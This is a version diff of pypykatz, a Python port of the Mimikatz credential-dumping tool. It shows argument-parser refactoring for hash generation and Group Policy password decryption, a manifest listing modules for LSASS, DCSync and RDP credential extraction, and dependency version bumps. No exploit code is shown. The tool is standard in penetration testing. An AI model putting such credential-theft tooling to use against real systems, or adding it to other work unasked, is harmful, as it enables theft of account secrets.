1319 group.add_argument('password', help= 'Password to be hashed')
1420
15 group = parser.add_parser('lm', help='Generates LM hash of the password')
21 group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password')
1622 group.add_argument('password', help= 'Password to be hashed')
1723
18 group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
24 group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
1925 group.add_argument('username', help= 'username')
2026 group.add_argument('password', help= 'Password to be hashed')
2127
22 group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
28 group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
2329 group.add_argument('username', help= 'username')
2430 group.add_argument('password', help= 'Password to be hashed')
2531 group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count')
2632
27 group = parser.add_parser('gppass', help='Decrypt GP passwords')
33 group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords')
2834 group.add_argument('enc', help='Encrypted password string')
2935
3036 def execute(self, args):
3137 if args.command in self.keywords:
3238 self.run(args)
3339 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
34 self.run_live(args)
40 raise Exception('There are no live commands for crypto.')
41 #self.run_live(args)
3542
3643 def run(self, args):
3744 from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2
3845 from pypykatz.utils.crypto.gppassword import gppassword
39 if args.command == 'nt':
46
47 if args.crypto_module == 'nt':
4048 print(NT(args.password).hex())
4149
42 elif args.command == 'lm':
50 elif args.crypto_module == 'lm':
4351 print(LM(args.password).hex())
4452
45 elif args.command == 'dcc':
53 elif args.crypto_module == 'dcc':
4654 print(MSDCC(args.username, args.password).hex())
4755
48 elif args.command == 'dcc2':
56 elif args.crypto_module == 'dcc2':
4957 print(MSDCCv2(args.username, args.password, args.iteration_count).hex())
5058
51 elif args.command == 'gppass':
59 elif args.crypto_module == 'gppass':
5260 print(gppassword(args.enc))
5361
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.4.9
2 Version: 0.5.2
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
6363 pypykatz/commons/readers/__init__.py
6464 pypykatz/commons/readers/local/__init__.py
6565 pypykatz/commons/readers/local/live_reader.py
66 pypykatz/commons/readers/local/process.py
6667 pypykatz/commons/readers/local/common/__init__.py
6768 pypykatz/commons/readers/local/common/advapi32.py
6869 pypykatz/commons/readers/local/common/defines.py
127128 pypykatz/dpapi/cmdhelper.py
128129 pypykatz/dpapi/constants.py
129130 pypykatz/dpapi/dpapi.py
131 pypykatz/dpapi/extras.py
130132 pypykatz/dpapi/functiondefs/__init__.py
131133 pypykatz/dpapi/functiondefs/dpapi.py
132134 pypykatz/dpapi/structures/__init__.py
187189 pypykatz/lsadecryptor/packages/wdigest/templates.py
188190 pypykatz/plugins/__init__.py
189191 pypykatz/plugins/pypykatz_rekall.py
192 pypykatz/rdp/__init__.py
193 pypykatz/rdp/cmdhelper.py
194 pypykatz/rdp/parser.py
195 pypykatz/rdp/packages/__init__.py
196 pypykatz/rdp/packages/creds/__init__.py
197 pypykatz/rdp/packages/creds/decryptor.py
198 pypykatz/rdp/packages/creds/templates.py
190199 pypykatz/registry/__init__.py
191200 pypykatz/registry/aoffline_parser.py
192201 pypykatz/registry/cmdhelper.py
198207 pypykatz/registry/sam/sam.py
199208 pypykatz/registry/sam/structures.py
200209 pypykatz/registry/security/__init__.py
210 pypykatz/registry/security/acommon.py
201211 pypykatz/registry/security/asecurity.py
202212 pypykatz/registry/security/common.py
203213 pypykatz/registry/security/security.py
223233 pypykatz/smb/cmdhelper.py
224234 pypykatz/smb/dcsync.py
225235 pypykatz/smb/lsassutils.py
236 pypykatz/smb/printer.py
226237 pypykatz/smb/regutils.py
227238 pypykatz/smb/shareenum.py
228239 pypykatz/utils/__init__.py
0 aiosmb>=0.2.40
1 aiowinreg>=0.0.4
2 minidump>=0.0.17
3 minikerberos>=0.2.10
4 msldap>=0.3.27
0 aiosmb>=0.2.50
1 aiowinreg>=0.0.7
2 minidump>=0.0.18
3 minikerberos>=0.2.14
4 msldap>=0.3.30
55 winacl>=0.1.1
4444
4545 # long_description=open("README.txt").read(),
4646 python_requires='>=3.6',
47 classifiers=(
47 classifiers=[
4848 "Programming Language :: Python :: 3.6",
4949 "License :: OSI Approved :: MIT License",
5050 "Operating System :: OS Independent",
51 ),
51 ],
5252 install_requires=[
53 'minidump>=0.0.17',
54 'minikerberos>=0.2.10',
55 'aiowinreg>=0.0.4',
56 'msldap>=0.3.27',
53 'minidump>=0.0.18',
54 'minikerberos>=0.2.14',
55 'aiowinreg>=0.0.7',
56 'msldap>=0.3.30',
5757 'winacl>=0.1.1',
58 'aiosmb>=0.2.40',
58 'aiosmb>=0.2.50',
5959 ],
6060
6161 # No more conveinent .exe entry point thanks to some idiot who